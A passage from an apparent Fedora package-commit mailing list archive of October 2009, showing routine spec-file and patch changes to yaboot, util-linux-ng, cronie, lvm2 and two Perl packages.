-  sed -e '/perl(XML::SAX::PurePerl::DTDDecls)/d' |\
-  sed -e '/perl(XML::SAX::PurePerl::DocType)/d' |\
-  sed -e '/perl(XML::SAX::PurePerl::EncodingDetect)/d' |\
-  sed -e '/perl(XML::SAX::PurePerl::XMLDecl)/d'
-EOF
-
-%define __perl_requires %{_builddir}/XML-SAX-%{version}/%{name}-req
-chmod +x %{__perl_requires}
-
-
-# Filter unwanted Provides: perl-XML-SAX should not Provide an
-#                           unversioned perl(XML::SAX) along with the
-#                           versioned one
-cat << \EOF > %{name}-prov
-#!/bin/sh
-%{__perl_provides} $* |\
-  sed -e '/perl(XML::SAX::PurePerl)$/d'
-EOF
-
-%define __perl_provides %{_builddir}/XML-SAX-%{version}/%{name}-prov
-chmod +x %{__perl_provides}
-
 
 %build
 echo N | %{__perl} Makefile.PL INSTALLDIRS=vendor
@@ -105,6 +84,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Stepan Kasal <skasal at redhat.com> - 0.96-5
+- use the filtering macros
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.96-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rrakus at fedoraproject.org  Mon Oct 19 12:44:27 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Mon, 19 Oct 2009 12:44:27 +0000 (UTC)
Subject: rpms/yaboot/devel
	yaboot-1.3.14-dont_of_open_native_partitions.patch, 
	NONE, 1.1 yaboot.spec, 1.68, 1.69
Message-ID: <20091019124427.4ACC711C00DC@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/yaboot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17587

Modified Files:
	yaboot.spec 
Added Files:
	yaboot-1.3.14-dont_of_open_native_partitions.patch 
Log Message:
Only require hfsutils on fedora and rhel <= 5
Explicitly build a DEBUG=1 version of yaboot to aid in debugging
Calling of_open() on a LINUX_NATIVE parttions seesm to work but end up with a garbage file.  Add check to of_open to skip these parttions (#526021).


yaboot-1.3.14-dont_of_open_native_partitions.patch:
 .fs_of.c.swp |binary
 fs_of.c      |    4 ++--
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE yaboot-1.3.14-dont_of_open_native_partitions.patch ---
diff -urNp yaboot-1.3.14.orig/second/fs_of.c yaboot-1.3.14/second/fs_of.c
--- yaboot-1.3.14.orig/second/fs_of.c	2009-10-14 09:39:46.263661071 +1100
+++ yaboot-1.3.14/second/fs_of.c	2009-10-14 09:43:42.932691139 +1100
@@ -92,8 +92,8 @@ of_open(struct boot_file_t* file,
      strncpy(buffer, fspec->dev, 768);
      strcat(buffer, ":");
      if (part) {
-          if (part->sys_ind == LINUX_RAID) {
-	       DEBUG_F("skipping because partition is marked LINUX_RAID\n");
+          if (part->sys_ind == LINUX_RAID || part->sys_ind == LINUX_NATIVE) {
+	       DEBUG_F("skipping because partition is marked %x\n", part->sys_ind);
 	       DEBUG_LEAVE(FILE_ERR_BAD_FSYS);
 	       return FILE_ERR_BAD_FSYS;
 	  }
Binary files yaboot-1.3.14.orig/second/.fs_of.c.swp and yaboot-1.3.14/second/.fs_of.c.swp differ


Index: yaboot.spec
===================================================================
RCS file: /cvs/extras/rpms/yaboot/devel/yaboot.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- yaboot.spec	24 Sep 2009 12:16:42 -0000	1.68
+++ yaboot.spec	19 Oct 2009 12:44:27 -0000	1.69
@@ -1,7 +1,7 @@
 Summary: Linux bootloader for Power Macintosh "New World" computers.
 Name: yaboot
 Version: 1.3.14
-Release: 19%{?dist}
+Release: 20%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: http://yaboot.ozlabs.org/releases/yaboot-%{version}.tar.gz
@@ -34,6 +34,8 @@ Patch35: yaboot-1.3.14-returns.patch
 # ipv6 support
 Patch36: yaboot-1.3.14-ipv6.patch
 
+# Do not open LINUX_NATIVE parttions with OF, as badness happens
+Patch37: yaboot-1.3.14-dont_of_open_native_partitions.patch
 
 URL: http://yaboot.ozlabs.org/
 BuildRoot: %{_tmppath}/%{name}-root
@@ -42,7 +44,7 @@ ExclusiveArch: ppc
 
 # hfsutils will not be in RHEL6.
 # hfsutils is needed only for non-IBM ppc machines
-%if ! 0%{?rhel} >= 6
+%if 0%{?fedora} || 0%{?rhel} < 6
 Requires: hfsutils
 %endif
 BuildRequires: e2fsprogs-devel
@@ -83,8 +85,12 @@ yaboot can also bootload IBM pSeries mac
 %patch34 -p1 -b .birecs
 %patch35 -p1 -b .returns
 %patch36 -p1 -b .ipv6
+%patch37 -p1 -b .partitions
 
 %build
+make VERSIONEXTRA='\ (Red Hat %version-%release)' DEBUG=1
+cp -a second/yaboot{,.debug}
+make clean
 make VERSIONEXTRA='\ (Red Hat %version-%release)'
 
 %install
@@ -93,6 +99,7 @@ rm -f $RPM_BUILD_ROOT/etc/yaboot.conf
 touch $RPM_BUILD_ROOT/etc/yaboot.conf
 mkdir -p $RPM_BUILD_ROOT/boot
 install -m0644 %{SOURCE1} $RPM_BUILD_ROOT/boot/efika.forth
+install -m0644 second/yaboot.debug $RPM_BUILD_ROOT/usr/lib/yaboot/
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -108,6 +115,7 @@ rm -rf $RPM_BUILD_ROOT
 /usr/lib/yaboot/addnote
 /usr/lib/yaboot/ofboot
 /usr/lib/yaboot/yaboot
+/usr/lib/yaboot/yaboot.debug
 %{_mandir}/man8/bootstrap.8.gz
 %{_mandir}/man8/mkofboot.8.gz
 %{_mandir}/man8/ofpath.8.gz
@@ -118,7 +126,13 @@ rm -rf $RPM_BUILD_ROOT
 %ghost %config(noreplace) %{_sysconfdir}/yaboot.conf
 
 %changelog
-* Thu Sep 09 2009 Roman Rakus <rrakus at redhat.com> - 1.3.14-19
+* Mon Oct 19 2009 Roman Rakus <rrakus at redhat.com> - 1.3.13-20
+- Only require hfsutils on fedora and rhel <= 5
+- Explicitly build a DEBUG=1 version of yaboot to aid in debugging
+- Calling of_open() on a LINUX_NATIVE parttions seesm to work but end up with a
+  garbage file.  Add check to of_open to skip these parttions (#526021).
+
+* Thu Sep 10 2009 Roman Rakus <rrakus at redhat.com> - 1.3.14-19
 - Increase TFTP buffer to 32MB
 
 * Wed Sep 09 2009 Roman Rakus <rrakus at redhat.com> - 1.3.14-18



From kzak at fedoraproject.org  Mon Oct 19 12:51:04 2009
From: kzak at fedoraproject.org (kzak)
Date: Mon, 19 Oct 2009 12:51:04 +0000 (UTC)
Subject: rpms/util-linux-ng/devel .cvsignore, 1.19, 1.20 sources, 1.19,
	1.20 util-linux-ng-2.16-blkid-cachefile.patch, 1.1,
	1.2 util-linux-ng.spec, 1.63,
	1.64 util-linux-ng-2.14-blockdev-rmpart.patch, 1.1,
	NONE util-linux-ng-2.14-sfdisk-dump.patch, 1.1,
	NONE util-linux-ng-2.16-blkid-swsuspend.patch, 1.1,
	NONE util-linux-ng-2.16-libblkid-compression.patch, 1.1,
	NONE util-linux-ng-2.16-libblkid-ext2.patch, 1.1,
	NONE util-linux-ng-2.16-switchroot-tty.patch, 1.1, NONE
Message-ID: <20091019125104.6C06311C00DC@cvs1.fedora.phx.redhat.com>

Author: kzak

Update of /cvs/pkgs/rpms/util-linux-ng/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19626

Modified Files:
	.cvsignore sources util-linux-ng-2.16-blkid-cachefile.patch 
	util-linux-ng.spec 
Removed Files:
	util-linux-ng-2.14-blockdev-rmpart.patch 
	util-linux-ng-2.14-sfdisk-dump.patch 
	util-linux-ng-2.16-blkid-swsuspend.patch 
	util-linux-ng-2.16-libblkid-compression.patch 
	util-linux-ng-2.16-libblkid-ext2.patch 
	util-linux-ng-2.16-switchroot-tty.patch 
Log Message:
* Mon Oct 19 2009 Karel Zak <kzak at redhat.com> 2.17-0.1.git5e51568
- upgrade to pre-release snapshot (official changelog not available yet, see
  http://git.kernel.org/?p=utils/util-linux-ng/util-linux-ng.git for now)  
- new commands: fallocate, unshare, wipefs
- libblkid supports topology and partitions probing
- remove support for --rmpart[s] from blockdev(8) (util-linux-ng-2.14-blockdev-rmpart.patch)
- merged upstream:
  util-linux-ng-2.14-sfdisk-dump.patch
  util-linux-ng-2.16-blkid-swsuspend.patch
  util-linux-ng-2.16-libblkid-compression.patch
  util-linux-ng-2.16-libblkid-ext2.patch
  util-linux-ng-2.16-switchroot-tty.patch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	25 Jul 2009 20:18:47 -0000	1.19
+++ .cvsignore	19 Oct 2009 12:51:04 -0000	1.20
@@ -1,2 +1,2 @@
-util-linux-ng-2.16.tar.bz2
+util-linux-ng-2.17-git5e51568.tar.bz2
 floppy-0.16.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	25 Jul 2009 20:18:47 -0000	1.19
+++ sources	19 Oct 2009 12:51:04 -0000	1.20
@@ -1,2 +1,2 @@
-9623380641b0c2e0449f5b1ecc567663  util-linux-ng-2.16.tar.bz2
+d17141b5dabf4605b1c1db4cf8cff38a  util-linux-ng-2.17-git5e51568.tar.bz2
 7eeb9a6f7a258174bf0fa80f1370788d  floppy-0.16.tar.bz2

util-linux-ng-2.16-blkid-cachefile.patch:
 misc-utils/blkid.8        |    4 ++--
 misc-utils/blkid.c        |    2 +-
 shlibs/blkid/libblkid.3   |    6 +++---
 shlibs/blkid/src/blkidP.h |    2 +-
 4 files changed, 7 insertions(+), 7 deletions(-)

Index: util-linux-ng-2.16-blkid-cachefile.patch
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/devel/util-linux-ng-2.16-blkid-cachefile.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- util-linux-ng-2.16-blkid-cachefile.patch	25 Jul 2009 20:18:47 -0000	1.1
+++ util-linux-ng-2.16-blkid-cachefile.patch	19 Oct 2009 12:51:04 -0000	1.2
@@ -1,7 +1,7 @@
-diff -up util-linux-ng-2.16/misc-utils/blkid.8.kzak util-linux-ng-2.16/misc-utils/blkid.8
---- util-linux-ng-2.16/misc-utils/blkid.8.kzak	2009-07-04 01:20:01.000000000 +0200
-+++ util-linux-ng-2.16/misc-utils/blkid.8	2009-07-16 00:41:28.000000000 +0200
-@@ -64,7 +64,7 @@ more devices.
+diff -up util-linux-ng-2.17-git5e51568/misc-utils/blkid.8.kzak util-linux-ng-2.17-git5e51568/misc-utils/blkid.8
+--- util-linux-ng-2.17-git5e51568/misc-utils/blkid.8.kzak	2009-10-16 22:50:03.000000000 +0200
++++ util-linux-ng-2.17-git5e51568/misc-utils/blkid.8	2009-10-19 14:31:10.000000000 +0200
+@@ -67,7 +67,7 @@ more devices.
  Read from
  .I cachefile
  instead of reading from the default cache file
@@ -10,7 +10,7 @@ diff -up util-linux-ng-2.16/misc-utils/b
  If you want to start with a clean cache (i.e. don't report devices previously
  scanned but not necessarily available at this time), specify
  .IR /dev/null .
-@@ -179,7 +179,7 @@ Display version number and exit.
+@@ -190,7 +190,7 @@ Display version number and exit.
  Write the device cache to
  .I writecachefile
  instead of writing it to the default cache file
@@ -19,10 +19,10 @@ diff -up util-linux-ng-2.16/misc-utils/b
  If you don't want to save the cache to the default file, specify
  .IR /dev/null.
  If not specified it will be the same file as that given by the
-diff -up util-linux-ng-2.16/misc-utils/blkid.c.kzak util-linux-ng-2.16/misc-utils/blkid.c
---- util-linux-ng-2.16/misc-utils/blkid.c.kzak	2009-07-04 01:20:01.000000000 +0200
-+++ util-linux-ng-2.16/misc-utils/blkid.c	2009-07-16 00:41:28.000000000 +0200
-@@ -60,7 +60,7 @@ static void usage(int error)
+diff -up util-linux-ng-2.17-git5e51568/misc-utils/blkid.c.kzak util-linux-ng-2.17-git5e51568/misc-utils/blkid.c
+--- util-linux-ng-2.17-git5e51568/misc-utils/blkid.c.kzak	2009-10-16 22:50:03.000000000 +0200
++++ util-linux-ng-2.17-git5e51568/misc-utils/blkid.c	2009-10-19 14:31:10.000000000 +0200
+@@ -62,7 +62,7 @@ static void usage(int error)
  		"        [-t <token>] [-w <file>] [dev ...]\n\n"
  		"  %1$s -p [-O <offset>] [-S <size>] [-o format] <dev> [dev ...]\n\n"
  		"Options:\n"
@@ -31,9 +31,9 @@ diff -up util-linux-ng-2.16/misc-utils/b
  		"  -h          print this usage message and exit\n"
  		"  -g          garbage collect the blkid cache\n"
  		"  -o <format> output format; can be one of:\n"
-diff -up util-linux-ng-2.16/shlibs/blkid/libblkid.3.kzak util-linux-ng-2.16/shlibs/blkid/libblkid.3
---- util-linux-ng-2.16/shlibs/blkid/libblkid.3.kzak	2009-07-04 01:20:03.000000000 +0200
-+++ util-linux-ng-2.16/shlibs/blkid/libblkid.3	2009-07-16 00:40:13.000000000 +0200
+diff -up util-linux-ng-2.17-git5e51568/shlibs/blkid/libblkid.3.kzak util-linux-ng-2.17-git5e51568/shlibs/blkid/libblkid.3
+--- util-linux-ng-2.17-git5e51568/shlibs/blkid/libblkid.3.kzak	2009-10-16 22:50:03.000000000 +0200
++++ util-linux-ng-2.17-git5e51568/shlibs/blkid/libblkid.3	2009-10-19 14:31:10.000000000 +0200
 @@ -24,7 +24,7 @@ A common use is to allow use of LABEL= a
  specific block device names into configuration files.
  .P
@@ -61,12 +61,12 @@ diff -up util-linux-ng-2.16/shlibs/blkid
  caches data extracted from each recognized block device
  .TP
  .I /etc/blkid.conf
-diff -up util-linux-ng-2.16/shlibs/blkid/src/blkidP.h.kzak util-linux-ng-2.16/shlibs/blkid/src/blkidP.h
---- util-linux-ng-2.16/shlibs/blkid/src/blkidP.h.kzak	2009-07-13 20:30:36.000000000 +0200
-+++ util-linux-ng-2.16/shlibs/blkid/src/blkidP.h	2009-07-16 00:40:13.000000000 +0200
-@@ -223,7 +223,7 @@ struct blkid_struct_cache
- extern char *blkid_strdup(const char *s);
- extern char *blkid_strndup(const char *s, const int length);
+diff -up util-linux-ng-2.17-git5e51568/shlibs/blkid/src/blkidP.h.kzak util-linux-ng-2.17-git5e51568/shlibs/blkid/src/blkidP.h
+--- util-linux-ng-2.17-git5e51568/shlibs/blkid/src/blkidP.h.kzak	2009-10-16 22:50:03.000000000 +0200
++++ util-linux-ng-2.17-git5e51568/shlibs/blkid/src/blkidP.h	2009-10-19 14:32:03.000000000 +0200
+@@ -267,7 +267,7 @@ extern char *blkid_strconcat(const char 
+ extern int blkid_fstatat(DIR *dir, const char *dirname, const char *filename,
+ 			struct stat *st, int nofollow);
  
 -#define BLKID_CACHE_FILE	"/etc/blkid.tab"
 +#define BLKID_CACHE_FILE	"/etc/blkid/blkid.tab"


Index: util-linux-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/devel/util-linux-ng.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- util-linux-ng.spec	5 Oct 2009 07:25:54 -0000	1.63
+++ util-linux-ng.spec	19 Oct 2009 12:51:04 -0000	1.64
@@ -1,14 +1,15 @@
+%define snapshot_hash git5e51568
+%define upstream_version %{version}-%{snapshot_hash}
+
 ### Header
 Summary: A collection of basic system utilities
 Name: util-linux-ng
-Version: 2.16
-Release: 13%{?dist}
+Version: 2.17
+Release: 0.1.%{snapshot_hash}%{?dist}
 License: GPLv2 and GPLv2+ and BSD with advertising and Public Domain
 Group: System Environment/Base
 URL: ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng
 
-%define upstream_version %{version}
-
 ### Features
 %if 0%{?rhel}
 %define include_raw 1
@@ -90,8 +91,6 @@ Patch2: util-linux-ng-2.13-floppy-generi
 
 ### Fedora/RHEL specific patches -- need to die!
 ###
-# remove partitions
-Patch3: util-linux-ng-2.14-blockdev-rmpart.patch
 # 199745 - Non-existant simpleinit(8) mentioned in ctrlaltdel(8)
 Patch4: util-linux-ng-2.13-ctrlaltdel-man.patch
 # /etc/blkid.tab --> /etc/blkid/blkid.tab
@@ -104,19 +103,6 @@ Patch7: util-linux-ng-2.13-login-lastlog
 # 231192 - ipcs is not printing correct values on pLinux
 Patch8: util-linux-ng-2.15-ipcs-32bit.patch
 
-### Upstream patches
-###
-# 513104 - blkid returns no fstype for ext2 device when ext2 module not loaded
-Patch9: util-linux-ng-2.16-libblkid-ext2.patch
-# 518572 -  blkid requires ext2.ko to be decompressed on installation media 
-Patch10: util-linux-ng-2.16-libblkid-compression.patch
-# 522718 - sfdisk -d /dev/xxx | sfdisk --force /dev/yyy fails when LANG is set
-Patch11: util-linux-ng-2.14-sfdisk-dump.patch
-# Swsuspend does not work
-Patch12: util-linux-ng-2.16-blkid-swsuspend.patch
-# 519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device
-Patch13: util-linux-ng-2.16-switchroot-tty.patch
-
 %description
 The util-linux-ng package contains a large variety of low-level system
 utilities that are necessary for a Linux system to function. Among
@@ -205,16 +191,10 @@ cp %{SOURCE8} %{SOURCE9} .
 %patch0 -p1
 %patch1 -p1
 %patch2 -p1
-%patch3 -p1
 %patch4 -p1
 %patch5 -p1
 %patch7 -p1
 %patch8 -p1
-%patch9 -p1
-%patch10 -p1
-%patch11 -p1
-%patch12 -p1
-%patch13 -p1
 
 %build
 unset LINGUAS || :
@@ -236,7 +216,6 @@ export SUID_LDFLAGS="-pie"
 %endif
 	--with-selinux \
 	--with-audit \
-	--with-fsprobe=builtin \
 	--disable-makeinstall-chown
 
 # build util-linux-ng
@@ -531,6 +510,7 @@ fi
 /sbin/swapoff
 /sbin/swapon
 /sbin/switch_root
+/sbin/wipefs
 
 %{_bindir}/cal
 %{_bindir}/chrt
@@ -539,6 +519,7 @@ fi
 %{_bindir}/colrm
 %{_bindir}/column
 %{_bindir}/ddate
+%{_bindir}/fallocate
 %{_bindir}/flock
 %{_bindir}/getopt
 %{_bindir}/hexdump
@@ -563,6 +544,7 @@ fi
 %{_bindir}/setterm
 %{_bindir}/tailf
 %{_bindir}/ul
+%{_bindir}/unshare
 %{_bindir}/uuidgen
 %{_bindir}/whereis
 
@@ -582,6 +564,7 @@ fi
 %{_mandir}/man1/column.1*
 %{_mandir}/man1/ddate.1*
 %{_mandir}/man1/dmesg.1*
+%{_mandir}/man1/fallocate.1*
 %{_mandir}/man1/flock.1*
 %{_mandir}/man1/getopt.1*
 %{_mandir}/man1/hexdump.1*
@@ -608,6 +591,7 @@ fi
 %{_mandir}/man1/tailf.1*
 %{_mandir}/man1/taskset.1*
 %{_mandir}/man1/ul.1*
+%{_mandir}/man1/unshare.1*
 %{_mandir}/man1/uuidgen.1*
 %{_mandir}/man1/whereis.1*
 %{_mandir}/man1/write.1*
@@ -638,6 +622,7 @@ fi
 %{_mandir}/man8/swapon.8*
 %{_mandir}/man8/switch_root.8*
 %{_mandir}/man8/umount.8*
+%{_mandir}/man8/wipefs.8*
 
 %if %{include_raw}
 /bin/raw
@@ -725,6 +710,19 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Karel Zak <kzak at redhat.com> 2.17-0.1.git5e51568
+- upgrade to pre-release snapshot (official changelog not available yet, see
+  http://git.kernel.org/?p=utils/util-linux-ng/util-linux-ng.git for now)  
+- new commands: fallocate, unshare, wipefs
+- libblkid supports topology and partitions probing
+- remove support for --rmpart[s] from blockdev(8) (util-linux-ng-2.14-blockdev-rmpart.patch)
+- merged upstream:
+  util-linux-ng-2.14-sfdisk-dump.patch
+  util-linux-ng-2.16-blkid-swsuspend.patch
+  util-linux-ng-2.16-libblkid-compression.patch
+  util-linux-ng-2.16-libblkid-ext2.patch
+  util-linux-ng-2.16-switchroot-tty.patch
+
 * Mon Oct  5 2009 Karel Zak <kzak at redhat.com> 2.16-13
 - fix spec file
 


--- util-linux-ng-2.14-blockdev-rmpart.patch DELETED ---


--- util-linux-ng-2.14-sfdisk-dump.patch DELETED ---


--- util-linux-ng-2.16-blkid-swsuspend.patch DELETED ---


--- util-linux-ng-2.16-libblkid-compression.patch DELETED ---


--- util-linux-ng-2.16-libblkid-ext2.patch DELETED ---


--- util-linux-ng-2.16-switchroot-tty.patch DELETED ---



From mmaslano at fedoraproject.org  Mon Oct 19 13:02:08 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 13:02:08 +0000 (UTC)
Subject: rpms/cronie/F-12 cronie-service-stop.patch, NONE, 1.1 cronie.spec, 
	1.27, 1.28
Message-ID: <20091019130208.0FCAC11C00DC@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/cronie/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22538

Modified Files:
	cronie.spec 
Added Files:
	cronie-service-stop.patch 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-2
- 529632 service crond stop returns appropriate value


cronie-service-stop.patch:
 cronie.init |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE cronie-service-stop.patch ---
>From 1a732d69938788dde2f1a8bf3ae1b9dc48d10c99 Mon Sep 17 00:00:00 2001
From: HONDA Hirofumi <honda.hirofumi at oss.ntt.co.jp>
Date: Mon, 19 Oct 2009 12:25:15 +0200
Subject: [PATCH] When parent crond is stopped and child crond (executing program) is running,"service crond status" reports "crond (pid  XXX) is running...".
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Marcela Ma?l??ov? <mmaslano at redhat.com>
---
 cronie.init |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/cronie.init b/cronie.init
index 0d98159..446607e 100755
--- a/cronie.init
+++ b/cronie.init
@@ -88,7 +88,7 @@ force_reload() {
 
 rh_status() {
     # run checks to determine if the service is running or use generic status
-    status $prog
+    status -p /var/run/crond.pid $prog
 }
 
 rh_status_q() {
-- 
1.6.5.rc2



Index: cronie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/F-12/cronie.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- cronie.spec	12 Oct 2009 10:26:32 -0000	1.27
+++ cronie.spec	19 Oct 2009 13:02:07 -0000	1.28
@@ -6,11 +6,12 @@
 Summary: Cron daemon for executing programs at set times
 Name: cronie
 Version: 1.4.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT and BSD and GPLv2
 Group: System Environment/Base
 URL: https://fedorahosted.org/cronie
 Source0: https://fedorahosted.org/releases/c/r/cronie/%{name}-%{version}.tar.gz
+Patch0:	cronie-service-stop.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: syslog, bash >= 2.0
@@ -58,6 +59,7 @@ overloaded in settings.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 
@@ -173,6 +175,9 @@ cp -a /var/lock/subsys/crond /var/lock/s
 %{_mandir}/man8/anacron.*
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-2
+- 529632 service crond stop returns appropriate value
+
 * Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-1
 - new release
 



From fabbione at fedoraproject.org  Mon Oct 19 13:02:45 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Mon, 19 Oct 2009 13:02:45 +0000 (UTC)
Subject: rpms/lvm2/devel lvm2.spec,1.183,1.184
Message-ID: <20091019130245.BC2CA11C00DC@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/lvm2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22704

Modified Files:
	lvm2.spec 
Log Message:
Enable openais support in clvmd



Index: lvm2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lvm2/devel/lvm2.spec,v
retrieving revision 1.183
retrieving revision 1.184
diff -u -p -r1.183 -r1.184
--- lvm2.spec	26 Sep 2009 00:39:03 -0000	1.183
+++ lvm2.spec	19 Oct 2009 13:02:45 -0000	1.184
@@ -1,5 +1,6 @@
 %define device_mapper_version 1.02.38
 %define corosync_version 1.0.0-1
+%define openais_version 1.1.0-1
 %define clusterlib_version 3.0.0-20
 
 # Do not reset Release to 1 unless both lvm2 and device-mapper 
@@ -8,7 +9,7 @@
 Summary: Userland logical volume management tools 
 Name: lvm2
 Version: 2.02.53
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: System Environment/Base
 URL: http://sources.redhat.com/lvm2
@@ -21,6 +22,7 @@ BuildRequires: libselinux-devel >= 1.30.
 BuildRequires: ncurses-devel
 BuildRequires: readline-devel
 BuildRequires: corosynclib-devel >= %{corosync_version}
+BuildRequires: openaislib-devel >= %{openais_version}
 BuildRequires: clusterlib-devel >= %{clusterlib_version}
 BuildRequires: module-init-tools
 BuildRequires: pkgconfig
@@ -51,7 +53,7 @@ or more physical volumes and creating on
 %define _sbindir /sbin
 %define _libdir /%{_lib}
 
-%configure --enable-lvm1_fallback --enable-fsadm --with-clvmd=cman,corosync --with-cluster=internal --with-pool=internal --with-user= --with-group= --with-usrlibdir=/usr/%{_lib} --with-usrsbindir=/usr/sbin --with-device-uid=0 --with-device-gid=6 --with-device-mode=0660 --enable-pkgconfig --enable-applib --enable-cmdlib --enable-dmeventd
+%configure --enable-lvm1_fallback --enable-fsadm --with-clvmd=cman,openais,corosync --with-cluster=internal --with-pool=internal --with-user= --with-group= --with-usrlibdir=/usr/%{_lib} --with-usrsbindir=/usr/sbin --with-device-uid=0 --with-device-gid=6 --with-device-mode=0660 --enable-pkgconfig --enable-applib --enable-cmdlib --enable-dmeventd
 
 make %{?_smp_mflags}
 
@@ -241,6 +243,7 @@ Requires(preun): chkconfig
 Requires(preun): device-mapper >= %{device_mapper_version}
 Requires(preun): lvm2 >= 2.02
 Requires: corosync >= %{corosync_version}
+Requires: openais >= %{openais_version}
 Requires: clusterlib >= %{clusterlib_version}
 
 %description cluster
@@ -379,6 +382,9 @@ the device-mapper event library.
 
 
 %changelog
+* Mon Oct 19 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 2.02.53-3
+- Enable openais support in clvmd.
+
 * Fri Sep 25 2009 Alasdair Kergon <agk at redhat.com> - 2.02.53-2
 - Reissued tarball to fix compilation warning from lvm2_log_fn prototype.
 



From eseyman at fedoraproject.org  Mon Oct 19 13:25:36 2009
From: eseyman at fedoraproject.org (Emmanuel Seyman)
Date: Mon, 19 Oct 2009 13:25:36 +0000 (UTC)
Subject: rpms/perl-CGI-Application-Plugin-DBIC-Schema/devel .cvsignore, 1.2, 
	1.3 perl-CGI-Application-Plugin-DBIC-Schema.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091019132536.53C7411C00DC@cvs1.fedora.phx.redhat.com>

Author: eseyman

Update of /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DBIC-Schema/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27663

Modified Files:
	.cvsignore perl-CGI-Application-Plugin-DBIC-Schema.spec 
	sources 
Log Message:
Update to 0.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DBIC-Schema/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	4 Sep 2009 07:57:05 -0000	1.2
+++ .cvsignore	19 Oct 2009 13:25:36 -0000	1.3
@@ -1 +1 @@
-CGI-Application-Plugin-DBIC-Schema-0.2.tar.gz
+CGI-Application-Plugin-DBIC-Schema-0.3.tar.gz


Index: perl-CGI-Application-Plugin-DBIC-Schema.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DBIC-Schema/devel/perl-CGI-Application-Plugin-DBIC-Schema.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- perl-CGI-Application-Plugin-DBIC-Schema.spec	4 Sep 2009 07:57:05 -0000	1.1
+++ perl-CGI-Application-Plugin-DBIC-Schema.spec	19 Oct 2009 13:25:36 -0000	1.2
@@ -1,5 +1,5 @@
 Name:           perl-CGI-Application-Plugin-DBIC-Schema
-Version:        0.2
+Version:        0.3
 Release:        1%{?dist}
 Summary:        Easy DBIx::Class access from CGI::Application
 License:        GPL+ or Artistic
@@ -53,5 +53,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Mon Oct 19 2009 Emmanuel Seyman <emmanuel.seyman at club-internet.fr> 0.3-1
+- Update to 0.3
+
 * Tue Sep 01 2009 Emmanuel Seyman <emmanuel.seyman at club-internet.fr> 0.2-1
 - Specfile autogenerated by cpanspec 1.78.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-CGI-Application-Plugin-DBIC-Schema/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	4 Sep 2009 07:57:05 -0000	1.2
+++ sources	19 Oct 2009 13:25:36 -0000	1.3
@@ -1 +1 @@
-a76923798dc1e03dd67f5bd0542fe3c5  CGI-Application-Plugin-DBIC-Schema-0.2.tar.gz
+5df80a6d64a2d91bb0a9a488822972c2  CGI-Application-Plugin-DBIC-Schema-0.3.tar.gz



